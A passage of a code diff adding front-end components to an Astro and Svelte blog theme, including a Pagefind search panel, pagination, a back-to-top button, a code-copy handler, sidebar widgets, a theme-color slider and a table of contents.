||||
console.error("Pagefind is not available in production environment.");
|
||||
}
|
||||
|
||||
result = searchResults;
|
||||
setPanelVisibility(result.length > 0, isDesktop);
|
||||
} catch (error) {
|
||||
console.error("Search error:", error);
|
||||
result = [];
|
||||
setPanelVisibility(false, isDesktop);
|
||||
} finally {
|
||||
isSearching = false;
|
||||
}
|
||||
};
|
||||
|
||||
onMount(() => {
|
||||
const initializeSearch = () => {
|
||||
initialized = true;
|
||||
pagefindLoaded =
|
||||
typeof window !== "undefined" &&
|
||||
!!window.pagefind &&
|
||||
typeof window.pagefind.search === "function";
|
||||
console.log("Pagefind status on init:", pagefindLoaded);
|
||||
if (keywordDesktop) search(keywordDesktop, true);
|
||||
if (keywordMobile) search(keywordMobile, false);
|
||||
};
|
||||
|
||||
if (import.meta.env.DEV) {
|
||||
console.log(
|
||||
"Pagefind is not available in development mode. Using mock data.",
|
||||
);
|
||||
initializeSearch();
|
||||
} else {
|
||||
document.addEventListener("pagefindready", () => {
|
||||
console.log("Pagefind ready event received.");
|
||||
initializeSearch();
|
||||
});
|
||||
document.addEventListener("pagefindloaderror", () => {
|
||||
console.warn(
|
||||
"Pagefind load error event received. Search functionality will be limited.",
|
||||
);
|
||||
initializeSearch(); // Initialize with pagefindLoaded as false
|
||||
});
|
||||
|
||||
// Fallback in case events are not caught or pagefind is already loaded by the time this script runs
|
||||
setTimeout(() => {
|
||||
if (!initialized) {
|
||||
console.log("Fallback: Initializing search after timeout.");
|
||||
initializeSearch();
|
||||
}
|
||||
}, 2000); // Adjust timeout as needed
|
||||
}
|
||||
});
|
||||
|
||||
$: if (initialized && keywordDesktop) {
|
||||
(async () => {
|
||||
await search(keywordDesktop, true);
|
||||
})();
|
||||
}
|
||||
|
||||
$: if (initialized && keywordMobile) {
|
||||
(async () => {
|
||||
await search(keywordMobile, false);
|
||||
})();
|
||||
}
|
||||
</script>
|
||||
|
||||
<!-- search bar for desktop view -->
|
||||
<div id="search-bar" class="hidden lg:flex transition-all items-center h-11 mr-2 rounded-lg
|
||||
bg-black/[0.04] hover:bg-black/[0.06] focus-within:bg-black/[0.06]
|
||||
dark:bg-white/5 dark:hover:bg-white/10 dark:focus-within:bg-white/10
|
||||
">
|
||||
<Icon icon="material-symbols:search" class="absolute text-[1.25rem] pointer-events-none ml-3 transition my-auto text-black/30 dark:text-white/30"></Icon>
|
||||
<input placeholder="{i18n(I18nKey.search)}" bind:value={keywordDesktop} on:focus={() => search(keywordDesktop, true)}
|
||||
class="transition-all pl-10 text-sm bg-transparent outline-0
|
||||
h-full w-40 active:w-60 focus:w-60 text-black/50 dark:text-white/50"
|
||||
>
|
||||
</div>
|
||||
|
||||
<!-- toggle btn for phone/tablet view -->
|
||||
<button on:click={togglePanel} aria-label="Search Panel" id="search-switch"
|
||||
class="btn-plain scale-animation lg:!hidden rounded-lg w-11 h-11 active:scale-90">
|
||||
<Icon icon="material-symbols:search" class="text-[1.25rem]"></Icon>
|
||||
</button>
|
||||
|
||||
<!-- search panel -->
|
||||
<div id="search-panel" class="float-panel float-panel-closed search-panel absolute md:w-[30rem]
|
||||
top-20 left-4 md:left-[unset] right-4 shadow-2xl rounded-2xl p-2">
|
||||
|
||||
<!-- search bar inside panel for phone/tablet -->
|
||||
<div id="search-bar-inside" class="flex relative lg:hidden transition-all items-center h-11 rounded-xl
|
||||
bg-black/[0.04] hover:bg-black/[0.06] focus-within:bg-black/[0.06]
|
||||
dark:bg-white/5 dark:hover:bg-white/10 dark:focus-within:bg-white/10
|
||||
">
|
||||
<Icon icon="material-symbols:search" class="absolute text-[1.25rem] pointer-events-none ml-3 transition my-auto text-black/30 dark:text-white/30"></Icon>
|
||||
<input placeholder="Search" bind:value={keywordMobile}
|
||||
class="pl-10 absolute inset-0 text-sm bg-transparent outline-0
|
||||
focus:w-60 text-black/50 dark:text-white/50"
|
||||
>
|
||||
</div>
|
||||
|
||||
<!-- search results -->
|
||||
{#each result as item}
|
||||
<a href={item.url}
|
||||
class="transition first-of-type:mt-2 lg:first-of-type:mt-0 group block
|
||||
rounded-xl text-lg px-3 py-2 hover:bg-[var(--btn-plain-bg-hover)] active:bg-[var(--btn-plain-bg-active)]">
|
||||
<div class="transition text-90 inline-flex font-bold group-hover:text-[var(--primary)]">
|
||||
{item.meta.title}<Icon icon="fa6-solid:chevron-right" class="transition text-[0.75rem] translate-x-1 my-auto text-[var(--primary)]"></Icon>
|
||||
</div>
|
||||
<div class="transition text-sm text-50">
|
||||
{@html item.excerpt}
|
||||
</div>
|
||||
</a>
|
||||
{/each}
|
||||
</div>
|
||||
|
||||
<style>
|
||||
input:focus {
|
||||
outline: 0;
|
||||
}
|
||||
.search-panel {
|
||||
max-height: calc(100vh - 100px);
|
||||
overflow-y: auto;
|
||||
}
|
||||
</style>
|
||||
49
src/components/control/BackToTop.astro
Normal file
49
src/components/control/BackToTop.astro
Normal file
@ -0,0 +1,49 @@
|
||||
---
|
||||
import { Icon } from "astro-icon/components";
|
||||
---
|
||||
|
||||
<!-- There can't be a filter on parent element, or it will break `fixed` -->
|
||||
<div class="back-to-top-wrapper hidden lg:block">
|
||||
<div id="back-to-top-btn" class="back-to-top-btn hide flex items-center rounded-2xl overflow-hidden transition" onclick="backToTop()">
|
||||
<button aria-label="Back to Top" class="btn-card h-[3.75rem] w-[3.75rem]">
|
||||
<Icon name="material-symbols:keyboard-arrow-up-rounded" class="mx-auto"></Icon>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<style lang="stylus">
|
||||
.back-to-top-wrapper
|
||||
width: 3.75rem
|
||||
height: 3.75rem
|
||||
position: absolute
|
||||
right: 0
|
||||
top: 0
|
||||
pointer-events: none
|
||||
|
||||
.back-to-top-btn
|
||||
color: var(--primary)
|
||||
font-size: 2.25rem
|
||||
font-weight: bold
|
||||
border: none
|
||||
position: fixed
|
||||
bottom: 10rem
|
||||
opacity: 1
|
||||
cursor: pointer
|
||||
transform: translateX(5rem)
|
||||
pointer-events: auto
|
||||
i
|
||||
font-size: 1.75rem
|
||||
&.hide
|
||||
transform: translateX(5rem) scale(0.9)
|
||||
opacity: 0
|
||||
pointer-events: none
|
||||
&:active
|
||||
transform: translateX(5rem) scale(0.9)
|
||||
|
||||
</style>
|
||||
|
||||
<script is:raw is:inline>
|
||||
function backToTop() {
|
||||
window.scroll({ top: 0, behavior: 'smooth' });
|
||||
}
|
||||
</script>
|
||||
43
src/components/control/ButtonLink.astro
Normal file
43
src/components/control/ButtonLink.astro
Normal file
@ -0,0 +1,43 @@
|
||||
---
|
||||
interface Props {
|
||||
badge?: string;
|
||||
url?: string;
|
||||
label?: string;
|
||||
}
|
||||
const { badge, url, label } = Astro.props;
|
||||
---
|
||||
<a href={url} aria-label={label}>
|
||||
<button
|
||||
class:list={`
|
||||
w-full
|
||||
h-10
|
||||
rounded-lg
|
||||
bg-none
|
||||
hover:bg-[var(--btn-plain-bg-hover)]
|
||||
active:bg-[var(--btn-plain-bg-active)]
|
||||
transition-all
|
||||
pl-2
|
||||
hover:pl-3
|
||||
|
||||
text-neutral-700
|
||||
hover:text-[var(--primary)]
|
||||
dark:text-neutral-300
|
||||
dark:hover:text-[var(--primary)]
|
||||
`
|
||||
}
|
||||
>
|
||||
<div class="flex items-center justify-between relative mr-2">
|
||||
<div class="overflow-hidden text-left whitespace-nowrap overflow-ellipsis ">
|
||||
<slot></slot>
|
||||
</div>
|
||||
{ badge !== undefined && badge !== null && badge !== '' &&
|
||||
<div class="transition px-2 h-7 ml-4 min-w-[2rem] rounded-lg text-sm font-bold
|
||||
text-[var(--btn-content)] dark:text-[var(--deep-text)]
|
||||
bg-[var(--btn-regular-bg)] dark:bg-[var(--primary)]
|
||||
flex items-center justify-center">
|
||||
{ badge }
|
||||
</div>
|
||||
}
|
||||
</div>
|
||||
</button>
|
||||
</a>
|
||||
13
src/components/control/ButtonTag.astro
Normal file
13
src/components/control/ButtonTag.astro
Normal file
@ -0,0 +1,13 @@
|
||||
---
|
||||
interface Props {
|
||||
size?: string;
|
||||
dot?: boolean;
|
||||
href?: string;
|
||||
label?: string;
|
||||
}
|
||||
const { dot, href, label }: Props = Astro.props;
|
||||
---
|
||||
<a href={href} aria-label={label} class="btn-regular h-8 text-sm px-3 rounded-lg">
|
||||
{dot && <div class="h-1 w-1 bg-[var(--btn-content)] dark:bg-[var(--card-bg)] transition rounded-md mr-2"></div>}
|
||||
<slot></slot>
|
||||
</a>
|
||||
84
src/components/control/Pagination.astro
Normal file
84
src/components/control/Pagination.astro
Normal file
@ -0,0 +1,84 @@
|
||||
---
|
||||
import type { Page } from "astro";
|
||||
import { Icon } from "astro-icon/components";
|
||||
import { url } from "../../utils/url-utils";
|
||||
|
||||
interface Props {
|
||||
page: Page;
|
||||
class?: string;
|
||||
style?: string;
|
||||
}
|
||||
|
||||
const { page, style } = Astro.props;
|
||||
|
||||
const HIDDEN = -1;
|
||||
|
||||
const className = Astro.props.class;
|
||||
|
||||
const ADJ_DIST = 2;
|
||||
const VISIBLE = ADJ_DIST * 2 + 1;
|
||||
|
||||
// for test
|
||||
let count = 1;
|
||||
let l = page.currentPage;
|
||||
let r = page.currentPage;
|
||||
while (0 < l - 1 && r + 1 <= page.lastPage && count + 2 <= VISIBLE) {
|
||||
count += 2;
|
||||
l--;
|
||||
r++;
|
||||
}
|
||||
while (0 < l - 1 && count < VISIBLE) {
|
||||
count++;
|
||||
l--;
|
||||
}
|
||||
while (r + 1 <= page.lastPage && count < VISIBLE) {
|
||||
count++;
|
||||
r++;
|
||||
}
|
||||
|
||||
let pages: number[] = [];
|
||||
if (l > 1) pages.push(1);
|
||||
if (l === 3) pages.push(2);
|
||||
if (l > 3) pages.push(HIDDEN);
|
||||
for (let i = l; i <= r; i++) pages.push(i);
|
||||
if (r < page.lastPage - 2) pages.push(HIDDEN);
|
||||
if (r === page.lastPage - 2) pages.push(page.lastPage - 1);
|
||||
if (r < page.lastPage) pages.push(page.lastPage);
|
||||
|
||||
const getPageUrl = (p: number) => {
|
||||
if (p === 1) return "/";
|
||||
return `/${p}/`;
|
||||
};
|
||||
---
|
||||
|
||||
<div class:list={[className, "flex flex-row gap-3 justify-center"]} style={style}>
|
||||
<a href={page.url.prev || ""} aria-label={page.url.prev ? "Previous Page" : null}
|
||||
class:list={["btn-card overflow-hidden rounded-lg text-[var(--primary)] w-11 h-11",
|
||||
{"disabled": page.url.prev == undefined}
|
||||
]}
|
||||
>
|
||||
<Icon name="material-symbols:chevron-left-rounded" class="text-[1.75rem]"></Icon>
|
||||
</a>
|
||||
<div class="bg-[var(--card-bg)] flex flex-row rounded-lg items-center text-neutral-700 dark:text-neutral-300 font-bold">
|
||||
{pages.map((p) => {
|
||||
if (p == HIDDEN)
|
||||
return <Icon name="material-symbols:more-horiz" class="mx-1"/>;
|
||||
if (p == page.currentPage)
|
||||
return <div class="h-11 w-11 rounded-lg bg-[var(--primary)] flex items-center justify-center
|
||||
font-bold text-white dark:text-black/70"
|
||||
>
|
||||
{p}
|
||||
</div>
|
||||
return <a href={url(getPageUrl(p))} aria-label={`Page ${p}`}
|
||||
class="btn-card w-11 h-11 rounded-lg overflow-hidden active:scale-[0.85]"
|
||||
>{p}</a>
|
||||
})}
|
||||
</div>
|
||||
<a href={page.url.next || ""} aria-label={page.url.next ? "Next Page" : null}
|
||||
class:list={["btn-card overflow-hidden rounded-lg text-[var(--primary)] w-11 h-11",
|
||||
{"disabled": page.url.next == undefined}
|
||||
]}
|
||||
>
|
||||
<Icon name="material-symbols:chevron-right-rounded" class="text-[1.75rem]"></Icon>
|
||||
</a>
|
||||
</div>
|
||||
54
src/components/misc/ImageWrapper.astro
Normal file
54
src/components/misc/ImageWrapper.astro
Normal file
@ -0,0 +1,54 @@
|
||||
---
|
||||
import path from "node:path";
|
||||
|
||||
interface Props {
|
||||
id?: string;
|
||||
src: string;
|
||||
class?: string;
|
||||
alt?: string;
|
||||
position?: string;
|
||||
basePath?: string;
|
||||
}
|
||||
|
||||
import { Image } from "astro:assets";
|
||||
import { url } from "../../utils/url-utils";
|
||||
|
||||
const { id, src, alt, position = "center", basePath = "/" } = Astro.props;
|
||||
const className = Astro.props.class;
|
||||
|
||||
const isLocal = !(
|
||||
src.startsWith("/") ||
|
||||
src.startsWith("http") ||
|
||||
src.startsWith("https") ||
|
||||
src.startsWith("data:")
|
||||
);
|
||||
const isPublic = src.startsWith("/");
|
||||
|
||||
// TODO temporary workaround for images dynamic import
|
||||
// https://github.com/withastro/astro/issues/3373
|
||||
// biome-ignore lint/suspicious/noImplicitAnyLet: <check later>
|
||||
let img;
|
||||
if (isLocal) {
|
||||
const files = import.meta.glob<ImageMetadata>("../../**", {
|
||||
import: "default",
|
||||
});
|
||||
let normalizedPath = path
|
||||
.normalize(path.join("../../", basePath, src))
|
||||
.replace(/\\/g, "/");
|
||||
const file = files[normalizedPath];
|
||||
if (!file) {
|
||||
console.error(
|
||||
`\n[ERROR] Image file not found: ${normalizedPath.replace("../../", "src/")}`,
|
||||
);
|
||||
}
|
||||
img = await file();
|
||||
}
|
||||
|
||||
const imageClass = "w-full h-full object-cover";
|
||||
const imageStyle = `object-position: ${position}`;
|
||||
---
|
||||
<div id={id} class:list={[className, 'overflow-hidden relative']}>
|
||||
<div class="transition absolute inset-0 dark:bg-black/10 bg-opacity-50 pointer-events-none"></div>
|
||||
{isLocal && img && <Image src={img} alt={alt || ""} class={imageClass} style={imageStyle}/>}
|
||||
{!isLocal && <img src={isPublic ? url(src) : src} alt={alt || ""} class={imageClass} style={imageStyle}/>}
|
||||
</div>
|
||||
43
src/components/misc/License.astro
Normal file
43
src/components/misc/License.astro
Normal file
@ -0,0 +1,43 @@
|
||||
---
|
||||
import { Icon } from "astro-icon/components";
|
||||
import { licenseConfig, profileConfig } from "../../config";
|
||||
import I18nKey from "../../i18n/i18nKey";
|
||||
import { i18n } from "../../i18n/translation";
|
||||
import { formatDateToYYYYMMDD } from "../../utils/date-utils";
|
||||
|
||||
interface Props {
|
||||
title: string;
|
||||
slug: string;
|
||||
pubDate: Date;
|
||||
class: string;
|
||||
}
|
||||
|
||||
const { title, pubDate } = Astro.props;
|
||||
const className = Astro.props.class;
|
||||
const profileConf = profileConfig;
|
||||
const licenseConf = licenseConfig;
|
||||
const postUrl = decodeURIComponent(Astro.url.toString());
|
||||
---
|
||||
<div class={`relative transition overflow-hidden bg-[var(--license-block-bg)] py-5 px-6 ${className}`}>
|
||||
<div class="transition font-bold text-black/75 dark:text-white/75">
|
||||
{title}
|
||||
</div>
|
||||
<a href={postUrl} class="link text-[var(--primary)]">
|
||||
{postUrl}
|
||||
</a>
|
||||
<div class="flex gap-6 mt-2">
|
||||
<div>
|
||||
<div class="transition text-black/30 dark:text-white/30 text-sm">{i18n(I18nKey.author)}</div>
|
||||
<div class="transition text-black/75 dark:text-white/75 line-clamp-2">{profileConf.name}</div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="transition text-black/30 dark:text-white/30 text-sm">{i18n(I18nKey.publishedAt)}</div>
|
||||
<div class="transition text-black/75 dark:text-white/75 line-clamp-2">{formatDateToYYYYMMDD(pubDate)}</div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="transition text-black/30 dark:text-white/30 text-sm">{i18n(I18nKey.license)}</div>
|
||||
<a href={licenseConf.url} target="_blank" class="link text-[var(--primary)] line-clamp-2">{licenseConf.name}</a>
|
||||
</div>
|
||||
</div>
|
||||
<Icon name="fa6-brands:creative-commons" class="transition text-[15rem] absolute pointer-events-none right-6 top-1/2 -translate-y-1/2 text-black/5 dark:text-white/5"></Icon>
|
||||
</div>
|
||||
43
src/components/misc/Markdown.astro
Normal file
43
src/components/misc/Markdown.astro
Normal file
@ -0,0 +1,43 @@
|
||||
---
|
||||
import "@fontsource-variable/jetbrains-mono";
|
||||
import "@fontsource-variable/jetbrains-mono/wght-italic.css";
|
||||
|
||||
interface Props {
|
||||
class: string;
|
||||
}
|
||||
const className = Astro.props.class;
|
||||
---
|
||||
<div data-pagefind-body class={`prose dark:prose-invert prose-base !max-w-none custom-md ${className}`}>
|
||||
<!--<div class="prose dark:prose-invert max-w-none custom-md">-->
|
||||
<!--<div class="max-w-none custom-md">-->
|
||||
<slot/>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.addEventListener("click", function (e: MouseEvent) {
|
||||
const target = e.target as Element | null;
|
||||
if (target && target.classList.contains("copy-btn")) {
|
||||
const preEle = target.closest("pre");
|
||||
const codeEle = preEle?.querySelector("code");
|
||||
const code = Array.from(codeEle?.querySelectorAll(".code:not(summary *)") ?? [])
|
||||
.map(el => el.textContent)
|
||||
.map(t => t === "\n" ? "" : t)
|
||||
.join("\n");
|
||||
navigator.clipboard.writeText(code);
|
||||
|
||||
const timeoutId = target.getAttribute("data-timeout-id");
|
||||
if (timeoutId) {
|
||||
clearTimeout(parseInt(timeoutId));
|
||||
}
|
||||
|
||||
target.classList.add("success");
|
||||
|
||||
// 设置新的timeout并保存ID到按钮的自定义属性中
|
||||
const newTimeoutId = setTimeout(() => {
|
||||
target.classList.remove("success");
|
||||
}, 1000);
|
||||
|
||||
target.setAttribute("data-timeout-id", newTimeoutId.toString());
|
||||
}
|
||||
});
|
||||
</script>
|
||||
35
src/components/widget/Categories.astro
Normal file
35
src/components/widget/Categories.astro
Normal file
@ -0,0 +1,35 @@
|
||||
---
|
||||
import I18nKey from "../../i18n/i18nKey";
|
||||
import { i18n } from "../../i18n/translation";
|
||||
import { getCategoryList } from "../../utils/content-utils";
|
||||
import ButtonLink from "../control/ButtonLink.astro";
|
||||
import WidgetLayout from "./WidgetLayout.astro";
|
||||
|
||||
const categories = await getCategoryList();
|
||||
|
||||
const COLLAPSED_HEIGHT = "7.5rem";
|
||||
const COLLAPSE_THRESHOLD = 5;
|
||||
|
||||
const isCollapsed = categories.length >= COLLAPSE_THRESHOLD;
|
||||
|
||||
interface Props {
|
||||
class?: string;
|
||||
style?: string;
|
||||
}
|
||||
const className = Astro.props.class;
|
||||
const style = Astro.props.style;
|
||||
---
|
||||
|
||||
<WidgetLayout name={i18n(I18nKey.categories)} id="categories" isCollapsed={isCollapsed} collapsedHeight={COLLAPSED_HEIGHT}
|
||||
class={className} style={style}
|
||||
>
|
||||
{categories.map((c) =>
|
||||
<ButtonLink
|
||||
url={c.url}
|
||||
badge={String(c.count)}
|
||||
label={`View all posts in the ${c.name.trim()} category`}
|
||||
>
|
||||
{c.name.trim()}
|
||||
</ButtonLink>
|
||||
)}
|
||||
</WidgetLayout>
|
||||
93
src/components/widget/DisplaySettings.svelte
Normal file
93
src/components/widget/DisplaySettings.svelte
Normal file
@ -0,0 +1,93 @@
|
||||
<script lang="ts">
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
import Icon from "@iconify/svelte";
|
||||
import { getDefaultHue, getHue, setHue } from "@utils/setting-utils";
|
||||
|
||||
let hue = getHue();
|
||||
const defaultHue = getDefaultHue();
|
||||
|
||||
function resetHue() {
|
||||
hue = getDefaultHue();
|
||||
}
|
||||
|
||||
$: if (hue || hue === 0) {
|
||||
setHue(hue);
|
||||
}
|
||||
</script>
|
||||
|
||||
<div id="display-setting" class="float-panel float-panel-closed absolute transition-all w-80 right-4 px-4 py-4">
|
||||
<div class="flex flex-row gap-2 mb-3 items-center justify-between">
|
||||
<div class="flex gap-2 font-bold text-lg text-neutral-900 dark:text-neutral-100 transition relative ml-3
|
||||
before:w-1 before:h-4 before:rounded-md before:bg-[var(--primary)]
|
||||
before:absolute before:-left-3 before:top-[0.33rem]"
|
||||
>
|
||||
{i18n(I18nKey.themeColor)}
|
||||
<button aria-label="Reset to Default" class="btn-regular w-7 h-7 rounded-md active:scale-90 will-change-transform"
|
||||
class:opacity-0={hue === defaultHue} class:pointer-events-none={hue === defaultHue} on:click={resetHue}>
|
||||
<div class="text-[var(--btn-content)]">
|
||||
<Icon icon="fa6-solid:arrow-rotate-left" class="text-[0.875rem]"></Icon>
|
||||
</div>
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex gap-1">
|
||||
<div id="hueValue" class="transition bg-[var(--btn-regular-bg)] w-10 h-7 rounded-md flex justify-center
|
||||
font-bold text-sm items-center text-[var(--btn-content)]">
|
||||
{hue}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="w-full h-6 px-1 bg-[oklch(0.80_0.10_0)] dark:bg-[oklch(0.70_0.10_0)] rounded select-none">
|
||||
<input aria-label={i18n(I18nKey.themeColor)} type="range" min="0" max="360" bind:value={hue}
|
||||
class="slider" id="colorSlider" step="5" style="width: 100%">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<style lang="stylus">
|
||||
#display-setting
|
||||
input[type="range"]
|
||||
-webkit-appearance none
|
||||
height 1.5rem
|
||||
background-image var(--color-selection-bar)
|
||||
transition background-image 0.15s ease-in-out
|
||||
|
||||
/* Input Thumb */
|
||||
&::-webkit-slider-thumb
|
||||
-webkit-appearance none
|
||||
height 1rem
|
||||
width 0.5rem
|
||||
border-radius 0.125rem
|
||||
background rgba(255, 255, 255, 0.7)
|
||||
box-shadow none
|
||||
&:hover
|
||||
background rgba(255, 255, 255, 0.8)
|
||||
&:active
|
||||
background rgba(255, 255, 255, 0.6)
|
||||
|
||||
&::-moz-range-thumb
|
||||
-webkit-appearance none
|
||||
height 1rem
|
||||
width 0.5rem
|
||||
border-radius 0.125rem
|
||||
border-width 0
|
||||
background rgba(255, 255, 255, 0.7)
|
||||
box-shadow none
|
||||
&:hover
|
||||
background rgba(255, 255, 255, 0.8)
|
||||
&:active
|
||||
background rgba(255, 255, 255, 0.6)
|
||||
|
||||
&::-ms-thumb
|
||||
-webkit-appearance none
|
||||
height 1rem
|
||||
width 0.5rem
|
||||
border-radius 0.125rem
|
||||
background rgba(255, 255, 255, 0.7)
|
||||
box-shadow none
|
||||
&:hover
|
||||
background rgba(255, 255, 255, 0.8)
|
||||
&:active
|
||||
background rgba(255, 255, 255, 0.6)
|
||||
|
||||
</style>
|
||||
32
src/components/widget/NavMenuPanel.astro
Normal file
32
src/components/widget/NavMenuPanel.astro
Normal file
@ -0,0 +1,32 @@
|
||||
---
|
||||
import { Icon } from "astro-icon/components";
|
||||
import { type NavBarLink } from "../../types/config";
|
||||
import { url } from "../../utils/url-utils";
|
||||
|
||||
interface Props {
|
||||
links: NavBarLink[];
|
||||
}
|
||||
|
||||
const links = Astro.props.links;
|
||||
---
|
||||
<div id="nav-menu-panel" class:list={["float-panel float-panel-closed absolute transition-all fixed right-4 px-2 py-2"]}>
|
||||
{links.map((link) => (
|
||||
<a href={link.external ? link.url : url(link.url)} class="group flex justify-between items-center py-2 pl-3 pr-1 rounded-lg gap-8
|
||||
hover:bg-[var(--btn-plain-bg-hover)] active:bg-[var(--btn-plain-bg-active)] transition
|
||||
"
|
||||
target={link.external ? "_blank" : null}
|
||||
>
|
||||
<div class="transition text-black/75 dark:text-white/75 font-bold group-hover:text-[var(--primary)] group-active:text-[var(--primary)]">
|
||||
{link.name}
|
||||
</div>
|
||||
{!link.external && <Icon name="material-symbols:chevron-right-rounded"
|
||||
class="transition text-[1.25rem] text-[var(--primary)]"
|
||||
>
|
||||
</Icon>}
|
||||
{link.external && <Icon name="fa6-solid:arrow-up-right-from-square"
|
||||
class="transition text-[0.75rem] text-black/25 dark:text-white/25 -translate-x-1"
|
||||
>
|
||||
</Icon>}
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
39
src/components/widget/Profile.astro
Normal file
39
src/components/widget/Profile.astro
Normal file
@ -0,0 +1,39 @@
|
||||
---
|
||||
import { Icon } from "astro-icon/components";
|
||||
import { profileConfig } from "../../config";
|
||||
import { url } from "../../utils/url-utils";
|
||||
import ImageWrapper from "../misc/ImageWrapper.astro";
|
||||
|
||||
const config = profileConfig;
|
||||
---
|
||||
<div class="card-base p-3">
|
||||
<a aria-label="Go to About Page" href={url('/about/')}
|
||||
class="group block relative mx-auto mt-1 lg:mx-0 lg:mt-0 mb-3
|
||||
max-w-[12rem] lg:max-w-none overflow-hidden rounded-xl active:scale-95">
|
||||
<div class="absolute transition pointer-events-none group-hover:bg-black/30 group-active:bg-black/50
|
||||
w-full h-full z-50 flex items-center justify-center">
|
||||
<Icon name="fa6-regular:address-card"
|
||||
class="transition opacity-0 scale-90 group-hover:scale-100 group-hover:opacity-100 text-white text-5xl">
|
||||
</Icon>
|
||||
</div>
|
||||
<ImageWrapper src={config.avatar || ""} alt="Profile Image of the Author" class="mx-auto lg:w-full h-full lg:mt-0 "></ImageWrapper>
|
||||
</a>
|
||||
<div class="px-2">
|
||||
<div class="font-bold text-xl text-center mb-1 dark:text-neutral-50 transition">{config.name}</div>
|
||||
<div class="h-1 w-5 bg-[var(--primary)] mx-auto rounded-full mb-2 transition"></div>
|
||||
<div class="text-center text-neutral-400 mb-2.5 transition">{config.bio}</div>
|
||||
<div class="flex flex-wrap gap-2 justify-center mb-1">
|
||||
{config.links.length > 1 && config.links.map(item =>
|
||||
<a rel="me" aria-label={item.name} href={item.url} target="_blank" class="btn-regular rounded-lg h-10 w-10 active:scale-90">
|
||||
<Icon name={item.icon} class="text-[1.5rem]"></Icon>
|
||||
</a>
|
||||
)}
|
||||
{config.links.length == 1 && <a rel="me" aria-label={config.links[0].name} href={config.links[0].url} target="_blank"
|
||||
class="btn-regular rounded-lg h-10 gap-2 px-3 font-bold active:scale-95">
|
||||
<Icon name={config.links[0].icon} class="text-[1.5rem]"></Icon>
|
||||
{config.links[0].name}
|
||||
</a>}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
22
src/components/widget/SideBar.astro
Normal file
22
src/components/widget/SideBar.astro
Normal file
@ -0,0 +1,22 @@
|
||||
---
|
||||
import type { MarkdownHeading } from "astro";
|
||||
import Categories from "./Categories.astro";
|
||||
import Profile from "./Profile.astro";
|
||||
import Tag from "./Tags.astro";
|
||||
|
||||
interface Props {
|
||||
class?: string;
|
||||
headings?: MarkdownHeading[];
|
||||
}
|
||||
|
||||
const className = Astro.props.class;
|
||||
---
|
||||
<div id="sidebar" class:list={[className, "w-full"]}>
|
||||
<div class="flex flex-col w-full gap-4 mb-4">
|
||||
<Profile></Profile>
|
||||
</div>
|
||||
<div id="sidebar-sticky" class="transition-all duration-700 flex flex-col w-full gap-4 top-4 sticky top-4">
|
||||
<Categories class="onload-animation" style="animation-delay: 150ms"></Categories>
|
||||
<Tag class="onload-animation" style="animation-delay: 200ms"></Tag>
|
||||
</div>
|
||||
</div>
|
||||
268
src/components/widget/TOC.astro
Normal file
268
src/components/widget/TOC.astro
Normal file
@ -0,0 +1,268 @@
|
||||
---
|
||||
import type { MarkdownHeading } from "astro";
|
||||
import { siteConfig } from "../../config";
|
||||
import { url } from "../../utils/url-utils";
|
||||
|
||||
interface Props {
|
||||
class?: string;
|
||||
headings: MarkdownHeading[];
|
||||
}
|
||||
|
||||
let { headings = [] } = Astro.props;
|
||||
|
||||
let minDepth = 10;
|
||||
for (const heading of headings) {
|
||||
minDepth = Math.min(minDepth, heading.depth);
|
||||
}
|
||||
|
||||
const className = Astro.props.class;
|
||||
const isPostsRoute = Astro.url.pathname.startsWith(url("/posts/"));
|
||||
|
||||
const removeTailingHash = (text: string) => {
|
||||
let lastIndexOfHash = text.lastIndexOf("#");
|
||||
if (lastIndexOfHash !== text.length - 1) {
|
||||
return text;
|
||||
}
|
||||
|
||||
return text.substring(0, lastIndexOfHash);
|
||||
};
|
||||
|
||||
let heading1Count = 1;
|
||||
|
||||
const maxLevel = siteConfig.toc.depth;
|
||||
---
|
||||
{isPostsRoute &&
|
||||
<table-of-contents class:list={[className, "group"]}>
|
||||
{headings.filter((heading) => heading.depth < minDepth + maxLevel).map((heading) =>
|
||||
<a href={`#${heading.slug}`} class="px-2 flex gap-2 relative transition w-full min-h-9 rounded-xl
|
||||
hover:bg-[var(--toc-btn-hover)] active:bg-[var(--toc-btn-active)] py-2
|
||||
">
|
||||
<div class:list={["transition w-5 h-5 shrink-0 rounded-lg text-xs flex items-center justify-center font-bold",
|
||||
{
|
||||
"bg-[var(--toc-badge-bg)] text-[var(--btn-content)]": heading.depth == minDepth,
|
||||
"ml-4": heading.depth == minDepth + 1,
|
||||
"ml-8": heading.depth == minDepth + 2,
|
||||
}
|
||||
]}
|
||||
>
|
||||
{heading.depth == minDepth && heading1Count++}
|
||||
{heading.depth == minDepth + 1 && <div class="transition w-2 h-2 rounded-[0.1875rem] bg-[var(--toc-badge-bg)]"></div>}
|
||||
{heading.depth == minDepth + 2 && <div class="transition w-1.5 h-1.5 rounded-sm bg-black/5 dark:bg-white/10"></div>}
|
||||
</div>
|
||||
<div class:list={["transition text-sm", {
|
||||
"text-50": heading.depth == minDepth || heading.depth == minDepth + 1,
|
||||
"text-30": heading.depth == minDepth + 2,
|
||||
}]}>{removeTailingHash(heading.text)}</div>
|
||||
</a>
|
||||
)}
|
||||
<div id="active-indicator" style="opacity: 0" class:list={[{'hidden': headings.length == 0}, "-z-10 absolute bg-[var(--toc-btn-hover)] left-0 right-0 rounded-xl transition-all " +
|
||||
"group-hover:bg-transparent border-2 border-[var(--toc-btn-hover)] group-hover:border-[var(--toc-btn-active)] border-dashed"]}></div>
|
||||
</table-of-contents>}
|
||||
|
||||
<script>
|
||||
class TableOfContents extends HTMLElement {
|
||||
tocEl: HTMLElement | null = null;
|
||||
visibleClass = "visible";
|
||||
observer: IntersectionObserver;
|
||||
anchorNavTarget: HTMLElement | null = null;
|
||||
headingIdxMap = new Map<string, number>();
|
||||
headings: HTMLElement[] = [];
|
||||
sections: HTMLElement[] = [];
|
||||
tocEntries: HTMLAnchorElement[] = [];
|
||||
active: boolean[] = [];
|
